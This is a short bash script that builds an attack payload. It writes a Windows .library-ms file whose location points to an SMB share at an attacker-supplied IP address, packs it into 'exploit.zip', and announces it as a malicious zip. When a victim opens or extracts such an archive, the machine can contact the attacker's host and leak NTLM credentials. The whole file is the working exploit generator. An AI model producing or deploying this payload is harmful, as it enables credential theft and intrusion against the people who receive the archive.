#!/bin/bash
if [ "${#}" -lt 1 ]; then 
echo "No IP address provided:\n  Usage: ${0} attack_ip"
exit 2
fi

mkdir tmp_ice

cat > tmp_ice/1mn0th1dd3n.library-ms << EOF
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\${1}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
EOF

cd tmp_ice && zip exploit.zip 1mn0th1dd3n.library-ms

mv exploit.zip .. && cd ..

echo "Malicious zip created at $(pwd)/exploit.zip"
rm -r tmp_ice